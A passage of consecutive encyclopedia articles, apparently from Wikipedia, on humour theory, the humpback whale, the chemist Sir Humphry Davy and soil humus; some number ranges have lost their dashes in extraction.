          Western humor theory begins with Plato who attributed to Socrates (as a semi-historical dialogue character), in the Philebus (p. 49b), the view that the essence of the ridiculous is an ignorance in the weak who are thus unable to retaliate when ridiculed. Later in Greek philosophy, Aristotle in the Poetics (1449a p 34-35) suggested that an ugliness that does not disgust is fundamental to humor.


          The Incongruity Theory originated mostly with Kant who claimed that the comic is an expectation that comes to nothing. Henri Bergson attempted to perfect incongruity, by reducing it to the 'living' and 'mechanical'.


          An incongruity like Bergson's, in things juxtaposed simultaneously, is still in vogue. This is often debated against theories of the shifts in perspectives in humor. Hence the debate in the series Humor Research between John Morreall and Robert Latta. Morreall presented mostly simultaneous juxtapositions,, with Latta countering that it requires a "cognitive shift," created by a discovery or solution to a puzzle or problem. Latta is criticized for having reduced jokes' essence to their own puzzling aspect.


          Humour frequently contains an unexpected, often sudden, shift in perspective, which gets assimilated by the Incongruity Theory. This view has been defended by Latta (1998) and by Brian Boyd (2004). Boyd views the shift as from seriousness to play. Nearly anything can be the object of this perspective twist. It is, however is in the areas of human creativity (science and art being the other two) that the shift results from structure mapping (termed " bisociation" by Koestler) to create novel meanings. Koestler argues that humour results when two different frames of reference are set up and a collision is engineered between them.


          Tony Veal, who is taking a more formalised computational approach than Koestler did, has written on the role of metaphor and metonymy in humour, using inspiration from Koestler as well as from Dedre Gentners theory of structure-mapping, George Lakoffs and Mark Johnsons theory of conceptual metaphor and Mark Turners and Gilles Fauconniers theory of conceptual blending.


          Some claim that humour cannot or should not be explained. Author E. B. White once said that "Humor can be dissected as a frog can, but the thing dies in the process and the innards are discouraging to any but the pure scientific mind."


          


          Evolution of humour


          As with any form of art, the same goes for humour, acceptance depends on social demographics and varies from person to person. Throughout history comedy has been used as a form of entertainment all over the world, whether in the courts of the Western kings or the villages of the far east. Both a social etiquette and a certain intelligence can be displayed through forms of wit and sarcasm. 18th-century German author Georg Lichtenberg said that "the more you know humour, the more you become demanding in fineness."


          


          Humour formulae


          Root components:


          
            	some surprise/ misdirection, contradiction, ambiguity or paradox.


            	appealing to feelings or to emotions.


            	similar to reality, but not real

          


          Methods:


          
            	metaphor


            	hyperbole


            	reframing


            	timing


            	reductio ad absurdum or farce

          


          Rowan Atkinson explains in his lecture in the documentary " Funny Business", that an object or a person can become funny in three different ways. They are:


          
            	By being in an unusual place


            	By behaving in an unusual way


            	By being the wrong size

          


          Most sight gags fit into one or more of these categories.


          Humour is also sometimes described as an ingredient in spiritual life. Humour is also the act of being funny. Some synonyms of funny or humour are hilarious, knee-slapping, spiritual, wise-minded, outgoing, and amusing. Some Masters have added it to their teachings in various forms. A famous figure in spiritual humour is the laughing Buddha, who would answer all questions with a laugh.
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              	Conservation status
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                  Vulnerable( IUCN 2.3)
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Mammalia

                  


                  
                    	Subclass:

                    	Eutheria

                  


                  
                    	Order:

                    	Cetacea

                  


                  
                    	Suborder:

                    	Mysticeti

                  


                  
                    	Family:

                    	Balaenopteridae

                  


                  
                    	Genus:

                    	Megaptera

                    Gray, 1846
                  


                  
                    	Species:

                    	M. novaeangliae

                  

                

              
            


            
              	Binomial name
            


            
              	Megaptera novaeangliae

              Borowski, 1781
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          The humpback whale (Megaptera novaeangliae) is a Baleen whale. One of the larger rorqual species, adults range in length from 1216metres (4050ft) and weigh approximately 36,000kilograms (79,000 lb). The humpback has a distinctive body shape, with unusually long pectoral fins and a knobbly head. It is an acrobatic animal, often breaching and slapping the water. Males produce a complex whale song, which lasts for 10 to 20 minutes and is repeated for hours at a time. The purpose of the song is not yet clear, although it appears to have a role in mating.


          Found in oceans and seas around the world, humpback whales typically migrate up to 25,000 kilometres each year. Humpbacks feed only in summer, in polar waters, and migrate to tropical or sub-tropical waters to breed and give birth in the winter. During the winter, humpbacks fast and live off their fat reserves. The species' diet consists mostly of krill and small fish. Humpbacks have a diverse repertoire of feeding methods, including the spectacular bubble net feeding technique.


          Like other large whales, the humpback was and is a target for the whaling industry. Due to over-hunting, its population fell by an estimated 90% before a whaling moratorium was introduced in 1966. Stocks of the species have since partially recovered; however, entanglement in fishing gear, collisions with ships, and noise pollution also remain concerns. There are at least 80,000 humpback whales worldwide. Once hunted to the brink of extinction, humpbacks are now sought out by whale-watchers, particularly off parts of Australia and the United States.
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                                        Megaptera novaeangliae (humpback whale)
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                A phylogenetic tree of animals related to the humpback whale

              
            

          


          Humpback whales are rorquals (family Balaenopteridae), a family that includes the blue whale, the fin whale, the Bryde's whale, the Sei whale and the Minke whale. The rorquals are believed to have diverged from the other families of the suborder Mysticeti as long ago as the middle Miocene. However, it is not known when the members of these families diverged from each other.


          Though clearly related to the giant whales of the genus Balaenoptera, the humpback has been the sole member of its genus since Gray's work in 1846. More recently though, DNA sequencing analysis has indicated both the humpback and the Gray whale are close relatives of the Blue Whale, the world's largest animal. If further research confirms these relationships, it will be necessary to reclassify the rorquals.


          The humpback whale was first identified as "baleine de la Nouvelle Angleterre" by Mathurin Jacques Brisson in his Regnum Animale of 1756. In 1781, Georg Heinrich Borowski described the species, converting Brisson's name to its Latin equivalent, Balaena novaeangliae. Early in the 19th century Lacpde shifted the humpback from the Balaenidae family, renaming it Balaenoptera jubartes. In 1846, John Edward Gray created the genus Megaptera, classifying the humpback as Megaptera longpinna, but in 1932, Remington Kellogg reverted the species names to use Borowski's novaeangliae. The common name is derived from their humping motion when diving. The generic name Megaptera from the Greek mega-/- "giant" and ptera/ "wing", refers to their large front flippers. The specific name means "New Englander" and was probably given by Brisson due the regular sightings of humpbacks off the coast of New England.


          


          Description and lifecycle


          
            [image: A diving humpback whale, showing hump and tail fins]

            
              A diving humpback whale, showing hump and tail fins
            

          


          Humpback whales can easily be identified by their stocky bodies with obvious humps and black dorsal colouring. The head and lower jaw are covered with knobs called tubercles, which are actually hair follicles and are characteristic of the species. The tail flukes, which are lifted high in some dive sequences, have wavy trailing edges. There are four global populations, all being studied. North Pacific, Atlantic, and southern ocean humpbacks have distinct populations which make an annual migration. One population in the Indian Ocean does not migrate. The Indian Ocean has a northern coastline, while the Atlantic and Pacific oceans do not, thereby preventing the humpbacks from migrating to the pole.


          The long black and white tail fin, which can be up to a third of body length, and the pectoral fins have unique patterns, which enable individual whales to be recognised. Several suggestions have been made to explain the evolution of the humpback's pectoral fins, which are proportionally the longest fins of any cetacean. The two most enduring hypotheses are the higher maneuverability afforded by long fins, or that the increased surface area is useful for temperature control when migrating between warm and cold climates. Humpbacks also have 'rete mirable' a heat exchanging system, which works similarly to the same structured system in certain species of sharks and other fish.
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          Humpbacks have 270 to 400 darkly coloured baleen plates on each side of the mouth. The plates measure from a mere 18inches (460mm) in the front to approximately 3feet (0.91m) long in the back, behind the hinge. Ventral grooves run from the lower jaw to the umbilicus about halfway along the bottom of the whale. These grooves are less numerous (usually 1620) and consequently more prominent than in other rorquals. The stubby dorsal fin is visible soon after the blow when the whale surfaces, but has disappeared by the time the flukes emerge. Humpbacks have a distinctive 3m (10ft) heart shaped to bushy blow, or exhalation of water through the blowholes. Early whalers also noted blows from humpback adults to be 10 - 20feet (6.1m) high. Whaling records show they understood each specie has its own distinct shape and height of blows.


          Newborn calves are roughly the length of their mother's head. A 50-foot (15m) mother would have a 20-foot (6.1m) newborn weighing in at 2 short tons (1.8 MT). They are nursed by their mothers for approximately six months, then are sustained through a mixture of nursing and independent feeding for possibly six months more. Humpback milk is 50% fat and pink in colour. Some calves have been observed alone after arrival in Alaskan waters. Females reach sexual maturity at the age of five with full adult size being achieved a little later. According to new research, males reach sexual maturity at approximately 7 years of age. Fully grown the males average 1516m (4952ft), the females being slightly larger at 1617m (5256ft), with a weight of 40,000kg (or 44tons); the largest recorded specimen was 19m (62ft) long and had pectoral fins measuring 6m (20ft) each. The largest humpback on record, according to whaling records, was killed in the Caribbean. She was 88feet (27m) long, weighing nearly 90 tons.


          Females have a hemispherical lobe about 15centimetres (6 in) in diameter in their genital region. This allows males and females to be distinguished if the underside of the whale can be seen, even though the male's penis usually remains unseen in the genital slit. Male whales have distinctive scars on heads and bodies, some resulting from battles over females.


          Females typically breed every two or three years. The gestation period is 11.5 months, yet some individuals can breed in two consecutive years. Humpback whales were thought to live 5060 years, but new studies using the changes in amino acids behind eye lenses proved another baleen whale, the Bowhead, to be 211 years old. This was an animal taken by the Inuit off Alaska. More studies on ages are currently being done.


          


          Identification


          The varying patterns on the humpback's tail flukes are sufficient to identify an individual. Unique visual identification is not possible in most cetacean species (exceptions include Orcas and Right Whales), so the humpback has become one of the most-studied species. A study using data from 1973 to 1998 on whales in the North Atlantic gave researchers detailed information on gestation times, growth rates, and calving periods, as well as allowing more accurate population predictions by simulating the mark-release-recapture technique. A photographic catalogue of all known whales in the North Atlantic was developed over this period and is currently maintained by Wheelock College. Similar photographic identification projects have subsequently begun in the North Pacific by SPLASH (Structure of Populations, Levels of Abundance and Status of Humpbacks), and around the world. Another organization (Cascadia Research) headed by well known researcher John Calambokidis, along with Dr. Robin Baird, have joined with others from NOAA, hoping to soon have an online catalog of more than 3500 fluke identification pictures that the public can access, and possibly contribute to.


          


          Social structure and courtship
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          The humpback social structure is loose-knit. Usually, individuals live alone or in small transient groups that assemble and break up over the course of a few hours. Groups may stay together a little longer in summer in order to forage and feed cooperatively. Longer-term relationships between pairs or small groups, lasting months or even years, have been observed, but are rare. Recent studies extrapolate feeding bonds observed with many females in Alaskan waters over the last 10 years. It is possible some females may have these bonds for a lifetime. More studies need to be done on this. The range of the humpback overlaps considerably with many other whale and dolphin species  while it may be seen near other species (for instance, the Minke Whale), it rarely interacts socially with them. Humpback calves have been observed in Hawaiian waters playing with bottlenose dolphin calves.


          Courtship rituals take place during the winter months, when the whales migrate toward the equator from their summer feeding grounds closer to the poles. Competition for a mate is usually fierce, and female whales as well as mother-calf dyads are frequently trailed by unrelated male whales dubbed escorts by researcher Louis Herman. Groups of two to twenty males typically gather around a single female and exhibit a variety of behaviours in order to establish dominance in what is known as a competitive group. The displays may last several hours, the group size may ebb and flow as unsuccessful males retreat and others arrive to try their luck. Techniques used include breaching, spy-hopping, lob-tailing, tail-slapping, flipper-slapping, charging and parrying. "Super pods" have been observed numbering more than 40 males, all vying for the same female. (M. Ferrari et. al)


          Whale song is assumed to have an important role in mate selection; however, scientists remain unsure whether the song is used between males in order to establish identity and dominance, between a male and a female as a mating call, or a mixture of the two. All these vocal and physical techniques have also been observed while not in the presence of potential mates. This indicates that they are probably important as a more general communication tool. Recent studies showed singing males attract other males. Scientists are extrapolating possibilities the singing may be a way to keep the migrating populations connected. (Ferrari, Nicklin, Darling, et al.) It has also been noted that the singing begins when the competition ends. Studies on this are ongoing. (www.whaletrust.com)


          


          Feeding
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          The species feeds only in summer and lives off fat reserves during winter. Humpback whales will only feed rarely and opportunistically while in their wintering waters. It is an energetic feeder, taking krill and small schooling fish, such as herring (Clupea harengus), salmon, capelin (Mallotus villosus) and sand lance (Ammodytes americanus) as well as Mackerel (Scomber scombrus), pollock (Pollachius virens) and haddock (Melanogrammus aeglefinus) in the North Atlantic. Krill and Copepods have been recorded from Australian and Antarctic waters. It hunts fish by direct attack or by stunning them by hitting the water with its pectoral fins or flukes.
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          The humpback has the most diverse repertoire of feeding methods of all baleen whales. Its most inventive technique is known as bubble net feeding: a group of whales blows bubbles while swimming in circles to create a ring of bubbles. The ring encircles the fish, which are confined in an ever-tighter area as the whales swim in a smaller and smaller circles. The whales then suddenly swim upward through the bubble net, mouths agape, swallowing thousands of fish in one gulp. This technique can involve a ring of bubbles up to 30m (100ft) in diameter and the cooperation of a dozen animals. Some of the whales take the task of blowing the bubbles through their blowholes, some dive deeper to drive fish toward the surface, and others herd fish into the net by vocalizing. Humpbacks have been observed bubblenet feeding alone as well.


          Humpback whales are preyed upon by Orcas. The result of these attacks is generally nothing more serious than some scarring of the skin, but it is likely that young calves are sometimes killed.


          


          Song
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          Both male and female humpback whales can produce sounds, however only the males produce the long, loud, complex "songs" for which the species is famous. Each song consists of several sounds in a low register that vary in amplitude and frequency, and typically lasts from 10 to 20 minutes. Songs may be repeated continuously for several hours; humpback whales have been observed to sing continuously for more than 24 hours at a time. As cetaceans have no vocal cords, whales generate their song by forcing air through their massive nasal cavities.


          Whales within an area sing the same song, for example all of the humpback whales of the North Atlantic sing the same song, and those of the North Pacific sing a different song. Each population's song changes slowly over a period of years never returning to the same sequence of notes.


          Scientists are still unsure of the purpose of whale song. Only male humpbacks sing, so it was initially assumed that the purpose of the songs was to attract females. However, many of the whales observed to approach singing whales have been other males, with the meeting resulting in a conflict. Thus, one interpretation is that the whale songs serve as a threat to other males. Some scientists have hypothesized that the song may serve an echolocative function. During the feeding season, humpback whales make altogether different vocalizations, which they use to herd fish into their bubble nets.


          


          Population and distribution


          The humpback whale is found in all the major oceans, in a wide band running from the Antarctic ice edge to 65 N latitude, though is not found in the eastern Mediterranean or the Baltic Sea. There are at least 80,000 humpback whales worldwide, with 18,000-20,000 in the North Pacific, about 12,000 in the North Atlantic, and over 50,000 in the Southern Hemisphere, down from a pre- whaling population of 125,000.


          The humpback is a migratory species, spending its summers in cooler, high-latitude waters, but mating and calving in tropical and sub-tropical waters. An exception to this rule is a population in the Arabian Sea, which remains in these tropical waters year-round. Annual migrations of up to 25,000kilometres (16,000 statute miles) are typical, making it one of the farthest-travelling of any mammalian species.


          A 2007 study identified seven individual whales wintering off the Pacific coast of Costa Rica as those which had made a trip from the Antarctic of around 8,300km. Identified by their unique tail patterns, these animals have made the longest documented migration by a mammal.


          In Australia, two main migratory populations have been identified, off the west and east coast respectively. These two populations are distinct with only a few females in each generation crossing between the two groups.


          


          Whaling


          One of the first attempts to hunt the humpback whale was made by John Smith in 1614 off the coast of Maine. Opportunistic killing of the species is likely to have occurred long before, and it continued with increasing pace in the following centuries. By the 18th century, the commercial value of humpback whales had been recognized, and they became a common target for whalers for many years.


          By the 19th century, many nations (the United States in particular), were hunting the animal heavily in the Atlantic Ocean, and to a lesser extent in the Indian and Pacific Oceans. It was, however, the introduction of the explosive harpoon in the late 19th century that allowed whalers to accelerate their take. This, along with hunting beginning in the Antarctic Ocean in 1904, led to a sharp decline in most whale populations.


          It is estimated that during the 20th century at least 200,000 humpbacks were taken, reducing the global population by over 90%, with the population in the North Atlantic estimated to have dropped to as low as 700 individuals.


          To prevent extinction, the International Whaling Commission introduced a ban on commercial humpback whaling in 1966. That ban is still in force. By that time humpback whales were so scarce that commercial hunting was no longer worthwhile.


          At this time, 250,000 were recorded killed. However, the true toll is likely to be higher. It is now known that the Soviet Union was deliberately under-recording its kills; the total Soviet humpback kill was reported at 2,820 whereas the true number is now believed to be over 48,000.


          As of 2004, hunting of humpback whales is restricted to a few animals each year off the Caribbean island Bequia in the nation of St. Vincent and the Grenadines. The take is not believed to threaten the local population.


          


          Japanese whaling


          Japan had planned to kill 50 humpback whales in the 2007/08 season under its JARPA II research program in the Antarctic Ocean, starting in November 2007. The announcement sparked global protests.


          In New Zealand, protests came from Maori and Pacific community leaders. Whales hold a significant place in the tradition and culture of many Pacific countries, according to Melino Maka, chairman of the Tongan Advisory Council. "We have a spiritual connection with our whales in our waters." he said.


          Protests occurred in 20 centres around Australia as well as Tonga. Many whales known to locals and tourism operators in Australian waters were born after whaling finished, so around humans they're benign. It is feared that the whales may become fearful of humans and that it will damage tourism. Whale watching is worth an estimated $260 million in Australia. The Australian government has been vocal in its opposition to whaling, but has been criticized for not taking legal action against it. In the lead up to the Federal election, the Australian shadow environment minister, Peter Garrett, announced a policy whereby Australian navy ships would intercept and board whaling vessels.


          After a visit to Tokyo by the chairman of the IWC, asking the Japanese for their co-operation in sorting out the differences between pro- and anti-whaling nations on the Commission, the Japanese whaling fleet agreed that no humpback whales would be caught for the two years it would take for the IWC to reach a formal agreement.


          


          Conservation
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          Internationally this species is considered vulnerable. Most monitored stocks of humpback whales have rebounded well since the end of the commercial whaling era, such as the North Atlantic where stocks are now believed to be approaching pre-hunting levels. However, the species is considered endangered in some countries where local populations have recovered slowly, including the United States.


          Today, individuals are vulnerable to collisions with ships, entanglement in fishing gear, and noise pollution. Like other cetaceans, humpbacks are sensitive to noise and can even be injured by it. In the 19th century, two humpback whales were found dead near sites of repeated oceanic sub-bottom blasting, with traumatic injuries and fractures in the ears.


          Once hunted to the brink of extinction the humpback whale has made a dramatic comeback in the North Pacific Ocean. A study released May 22, 2008 estimates that the humpback whale population that hit a low of 1,500 whales before hunting was banned worldwide, has made a comeback to a population of between 18,000 and 20,000.


          The ingestion of saxitoxin, a Paralytic shellfish poisoning (PSP) from contaminated mackerel has been implicated in humpback whale deaths.


          Some countries are creating action plans to protect the humpback; for example, in the United Kingdom, the humpback whale has been designated as a priority species under the national Biodiversity Action Plan, generating a set of actions to conserve the species. The sanctuary provided by National Parks such as Glacier Bay National Park and Preserve and Cape Hatteras National Seashore, among others, have also become a major factor in sustaining the populations of the species in those areas.


          Although much was known about the humpback whale due to information obtained through whaling, the migratory patterns and social interactions of the species were not well known until two separate studies by R. Chittleborough and W. H. Dawbin in the 1960s. Roger Payne and Scott McVay made further studies of the species in 1971. Their analysis of whale song led to worldwide media interest in the species, and left an impression in the public mind that whales were a highly intelligent cetacean species, a contributing factor to the anti-whaling stance of many countries.


          


          Whale-watching
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          Humpback whales are generally curious about objects in their environment. They will often approach and circle boats. This has become an attraction of whale-watching tourism in many locations around the world since the 1990s.


          Whale-watching locations include the Atlantic coast off the Saman Province of the Dominican Republic, the Pacific coast off Oregon, Washington, Vancouver, Hawaii and Alaska, the Bay of Biscay to the west of France, Sydney, Byron Bay north of Sydney, Hervey Bay north of Brisbane, North and East of Cape Town, the coasts of New England, Nova Scotia and Newfoundland, New Zealand, the Tongan islands, the northern St. Lawrence River and the Snaefellsnes peninsula in the west of Iceland. The species is popular because it breaches regularly and spectacularly, and displays a range of other social behaviours.


          As with other cetacean species, however, a mother whale will generally be extremely protective of her infant, and will seek to place herself between any boat and the calf before moving quickly away from the vessel. Whale-watching tour operators are asked to avoid stressing the mother.


          


          Famous humpbacks


          


          Migaloo


          A presumably albino humpback whale that travels up and down the east coast of Australia has become famous in the local media, on account of its extremely rare all-white appearance. The whale, first sighted in 1991 and believed to be 3-5 years old at that time, is called Migaloo (a word for "white fellow" from one of the languages of the Indigenous Australians). Speculation about the whale's gender was resolved in October 2004 when researchers from Southern Cross University collected sloughed skin samples from Migaloo as he migrated past Lennox Head, and subsequent genetic analysis of the samples proved he is a male. Because of the intense interest, environmentalists feared that the whale was becoming distressed by the number of boats following it each day. In response, the Queensland and New South Wales governments introduce legislation each year to order the maintenance of a 500m (1,600ft) exclusion zone around the whale. Recent close up pictures have shown Migaloo to have skin cancer and/or skin cysts as a result of his lack of protection from the sun.


          In 2006, a white calf was spotted with a normal humpback mother in Byron Bay, New South Wales.


          


          Humphrey


          One of the most notable humpback whales is Humphrey the whale, who was rescued twice in California by The Marine Mammal Centre and other concerned groups. The first rescue was in 1985, when he swam into San Francisco Bay and then up the Sacramento River towards Rio Vista. Five years later, Humphrey returned and became stuck on a mudflat in San Francisco Bay immediately north of Sierra Point below the view of onlookers from the upper floors of the Dakin Building. He was pulled off the mudflat with a large cargo net and the help of a Coast Guard boat. Both times he was successfully guided back to the Pacific Ocean using a "sound net" in which people in a flotilla of boats made unpleasant noises behind the whale by banging on steel pipes, a Japanese fishing technique known as "oikami." At the same time, the attractive sounds of humpback whales preparing to feed were broadcast from a boat headed towards the open ocean. Since leaving the San Francisco Bay in 1990 Humphrey has been seen only once, at the Farallon Islands in 1991.


          


          Delta and Dawn


          A humpback whale mother and calf captivated the San Francisco Bay Area in May 2007. This pair appeared to have gotten lost on their Northern migration, swam into the bay and up the Sacramento River as far as the Port of Sacramento. First spotted on 13 May, the whales inspired intense news coverage and were named Delta and Dawn. Whale fans became worried as the whales, both injured with what were possibly cuts caused by boat propellers, continued their stay in the brackish waters, despite efforts to get them to return to the sea. Unexpectedly, on 20 May they headed back towards the bay, but they tarried near the Rio Vista bridge for 10 days. Finally, on Memorial Day weekend, they left Rio Vista, California; passing Tuesday night, 29 May, through the Golden Gate Bridge out to the Pacific Ocean.


          


          Mister Splashy Pants


          Mister Splashy Pants is a humpback in the south Pacific Ocean. It's being tracked with a satellite tag by Greenpeace as a part of its Great Whale Trail Expedition. The whale's name was chosen in an online poll that garnered attention from several websites, including Boing Boing and Reddit. The name "Mister Splashy Pants" received over 78% of the votes.


          


          In popular culture


          
            	In Moby-Dick, a novel where the chief whale protagonist is a sperm whale, Herman Melville describes the humpback whale as "the most gamesome and light-hearted of all the whales, making more gay foam and white water than any other of them".

          


          
            	A pair of humpback whales were the main plot element in the film Star Trek IV: The Voyage Home. In the film, an alien probe arrives at 23rd century Earth and attempts to contact the by then extinct whales. The crew of the Enterprise travel back in time to obtain a breeding pair of humpbacks, named George and Gracie, to communicate with the probe and forestall the Earth's destruction.

          


          
            	In Disney's Fantasia 2000, a segment featuring a pod of frolicking humpback whales in the air and within icebergs is set to Ottorino Respighi's " Pines of Rome".

          


          
            	Judy Collins's 1970 album Whales and Nightingales featured a recording of the traditional song "Farewell To Tarwathie", on which Collins sang to the accompaniment of a recording of a humpback whale.

          


          
            	"Port na bPca", a traditional air from Ireland's Blasket Islands, is thought to be inspired by humpback whales migrating to the calfing grounds in Cape Verde. Folklore tells that Islanders awoke in the night to hear strange music coming from the sea; this music was copied down and called "Port na bPca" ( Irish Gaelic for "Song of the Faeries/Ghosts").
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          Sir Humphry Davy, 1st Baronet, FRS ( 17 December 1778  29 May 1829) was an esteemed British chemist and physicist. He was born in Penzance, Cornwall, United Kingdom and both his brother John Davy and cousin Edmund Davy were also noted chemists. Berzelius called Davy's 1806 Bakerian Lecture " On some Chemical Agencies of Electricity" "one of the best memoirs which has ever enriched the theory of chemistry." This paper was central to any chemical affinity theory in the first half of the ninteenth century.


          


          Biography


          Sir Humphry revelled in his status, as his lectures gathered many spectators. Davy became well known due to his experiments with the physiological action of some gases, including laughing gas ( nitrous oxide) - to which he was addicted, once stating that its properties bestowed all of the benefits of alcohol but was devoid of its flaws. Davy later damaged his eyesight in a laboratory accident with nitrogen trichloride. In 1801 he was nominated professor at the Royal Institution of Great Britain and Fellow of the Royal Society, over which he would later preside. He later invented the davy lamp which was a great and well known success. He discovered the element barium.


          


          Electrochemistry work
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          In 1800, Alessandro Volta announced his invention of the first electric pile or battery. Davy used this electric battery to separate salts by what is now known as electrolysis. With many batteries in series he was able to separate elemental potassium and sodium in 1807 and calcium, strontium, barium, and magnesium in 1808, which is when he also discovered and named aluminium. He also studied the energies involved in separating these salts, which is now the field of electrochemistry. According to the historian Christopher Lawrence, in the book Romanticism and the Sciences, his electrolytic work was driven by Romantic beliefs in a unity in nature, composed of polar forces.


          


          Retirement and further work


          In 1812 he was knighted, gave a farewell lecture to the Royal Institution, and married a wealthy widow, Jane Apreece. While generally acknowledged as being faithful to his wife, their relationship was stormy and in his later years Davy travelled to continental Europe alone. In October 1813 he and his wife, accompanied by Michael Faraday as his scientific assistant (and valet) traveled to France to collect a medal that Napoleon Bonaparte had awarded Davy for his electro-chemical work. Whilst in Paris Davy was asked by Gay-Lussac to investigate a mysterious substance isolated by Barnard Courtois. Davy showed it to be an element, which is now called iodine. The party left Paris on December 29, travelling south through Montpellier and Nice and then to Italy.


          After passing through Genoa, they went to Florence, where, in a series of experiments starting on Sunday March 27, Davy, with Faraday's assistance, succeed in using the sun's rays to ignite diamond, and proved that it was composed of pure carbon. Davy's party continued on to Rome, and also visited Naples and Mount Vesuvius. By the June 17, they were in Milan, where they met Alessandro Volta, and continued north to Geneva. They returned to Italy via Munich and Innsbruck, passed though Venice and returned to Rome. Their plans to travel to Greece and Constantinople (Istanbul) were abandoned after Napoleon's escape from Elba, and they returned to England.


          


          Davy lamp


          After his return to England in 1815, Davy went on to produce the Davy lamp which was used by miners, although there is evidence to show that Davy "invented" his device at about the same time as an engineer, George Stephenson, but claimed all the credit for the invention.


          


          Discovery of chlorine


          He also showed that oxygen could not be obtained from the substance known as oxymuriatic acid and proved the substance to be an element, which he named chlorine. (However Carl Scheele is credited as the discoverer of chlorine. Scheele had discovered it 36 years before Davy, but was unable to publish his findings.) This discovery overturned Lavoisier's definition of acids as compounds of oxygen.


          


          Acid and bases studies


          In 1815 Davy suggested that acids were substances that contained replaceable hydrogen  hydrogen that could be partly or totally replaced by metals. When acids reacted with metals they formed salts. Bases were substances that reacted with acids to form salts and water. These definitions worked well for most of the century. Today we use the Brnsted-Lowry theory of acids and bases.


          In 1818, he was awarded a baronetcy and two years later he became President of the Royal Society.


          


          Further electrochemistry studies


          In 1824 he proposed and eventually mounted chunks of iron to the hull of a copper clad ship in the first use of cathodic protection. Whilst this was effective in preventing the corrosion of copper, it eliminated the anti-fouling properties of the copper hull, leading to the attachment of molluscs and barnacles to the "protected" hull, slowing these ships and requiring extensive time in dry docks for defouling operations.He discoverd Calcium in 1808 in London England.


          


          Death


          Davy died in Switzerland in 1829, his various inhalations of chemicals finally taking its toll on his health. He is buried in the Plain Palais Cemetery in Geneva.


          Davy's laboratory assistant, Michael Faraday, went on to enhance Davy's work and in the end became more famous and influential  to such an extent that Davy is supposed to have claimed Faraday as his greatest discovery. However, he later accused Faraday of plagiarism, causing Faraday (the first Fullerian Professor of Chemistry) to cease all research in electromagnetism until his mentor's death.


          


          Davy's Statue
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          In the town of Penzance in Cornwall a statue of Davy, its most famous son, stands in front of the imposing Market House, now owned by Lloyds TSB, at the top of Market Jew Street, the town's main high street.


          


          School


          There is a secondary school in Penzance named Humphry Davy School


          


          Miscellanea


          
            	Davy was the subject of the first ever clerihew:

          


          
            	Sir Humphry Davy


            	Abominated gravy.


            	He lived in the odium


            	Of having discovered sodium.

          


          
            	Like James Prescott Joule and Isaac Newton, Davy is remembered in his hometown by a local pub. The Sir Humphry Davy pub is located in Penzance opposite the Geenmarket at the end of Market Jew Street.

          


          
            	The lunar crater Davy is named after Sir Humphry Davy. It has a diameter of 34 km and coordinates of 11.8S, 8.1W.
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          Humus (Latin - "soil ") is the organic material in soil lending it a dark brown or black colouration.


          In soil science, humus refers to any organic matter which has reached a point of stability, where it will break down no further and might, if conditions do not change, remain essentially as it is for centuries, if not millennia.


          In agriculture, humus is sometimes also used to describe mature compost, or natural compost extracted from a forest or other spontaneous source for use to amend soil. It is also used to describe a topsoil horizon that contains organic matter (humus type, humus form, humus profile).


          


          Humification


          The process of "humification" can occur naturally in soil, or in the production of compost. Chemically stable humus is thought by some to be important to the fertility of soils in both a physical and chemical sense, though some agricultural experts advocate a greater focus on other aspects of nutrient delivery, instead. Physically, it helps the soil retain moisture, and encourages the formation of good soil structure. Chemically, it has many active sites which bind to ions of plant nutrients, making them more available. Humus is often described as the 'life-force' of the soil. Yet it is difficult to define humus in precise terms; it is a highly complex substance, the full nature of which is still not fully understood. Physically, humus can be differentiated from organic matter in that the latter is rough looking material, with coarse plant remains still visible, while once fully humified it becomes more uniform in appearance (a dark, spongy, jelly-like substance) and amorphous in structure. That is, it has no determinate shape, structure or character.


          Plant remains (including those that have passed through an animal and are excreted as manure) contain organic compounds: sugars, starches, proteins, carbohydrates, lignins, waxes, resins and organic acids. The process of organic matter decay in the soil begins with the decomposition of sugars and starches from carbohydrates which break down easily as saprotrophs initially invade the dead plant, while the remaining cellulose breaks down more slowly. Proteins decompose into amino acids at a rate depending on carbon to nitrogen ratios. Organic acids break down rapidly, while fats, waxes, resins and lignins remain relatively unchanged for longer periods of time. The humus, that is the end product of this process, is thus a mixture of compounds and complex life chemicals of plant, animal, or microbial origin, which has many functions and benefits in the soil. Earthworm humus ( vermicompost) is considered by some to be the best organic manure there is.


          


          Humification of leaf litter and formation of clay-humus complexes


          Compost which is readily capable of further decomposition is sometimes referred to as effective or active humus, though again scientists would say that if it is not stable, it's not humus at all. This kind of compost is principally derived from sugars, starches, and proteins, and consists of simple organic (fulvic) acids. It is an excellent source of plant nutrients, but of little value regarding long-term soil structure and tilth. Stable (or passive) humus consisting of humic acids and humins, on the other hand, are so highly insoluble (or tightly bound to clay particles that they cannot be penetrated by microbes) that they are greatly resistant to further decomposition. Thus they add few readily available nutrients to the soil, but play an essential part in providing its physical structure. Some very stable humus complexes have survived for thousands of years. Stable humus tends to originate from woodier plant materials, eg, cellulose and lignins. Soil animals, which ingest then transform organic matter in their guts, are active agents of humification, in association with fungi and bacteria: most humus in the soil is included in animal faeces of more or less dark colour according to their content in organic matter.


          


          Benefits of humus


          
            	The mineralisation process that converts raw organic matter to the relatively stable substance that is humus feeds the soil population of micro-organisms and other creatures, thus maintaining high and healthy levels of soil life.


            	The rate at which raw organic matter is converted into humus promotes (when fast) or limits (when slow) the coexistence of plants, animals and microbes in terrestrial ecosystems


            	Effective and stable humus (see below) are further sources of nutrients to microbes, the former providing a readily available supply while the latter acts as a more long-term storage reservoir.


            	Humification of dead plant material causes complex organic compounds to break down into simpler forms which are then made available to growing plants for uptake through their root systems.


            	Humus is a colloidal substance, and increases the soil's cation exchange capacity, hence its ability to store nutrients by chelation as can clay particles; thus while these nutrient cations are accessible to plants, they are held in the soil safe from leaching away by rain or irrigation.


            	Humus can hold the equivalent of 80-90% of its weight in moisture, and therefore increases the soil's capacity to withstand drought conditions.


            	The biochemical structure of humus enables it to moderate  or buffer  excessive acid or alkaline soil conditions.


            	During the humification process, microbes secrete sticky gums; these contribute to the crumb structure of the soil by holding particles together, allowing greater aeration of the soil. Toxic substances such as heavy metals, as well as excess nutrients, can be chelated (that is, bound to the complex organic molecules of humus) and prevented from entering the wider ecosystem.


            	The dark colour of humus (usually black or dark brown) helps to warm up cold soils in the spring.

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Humus"
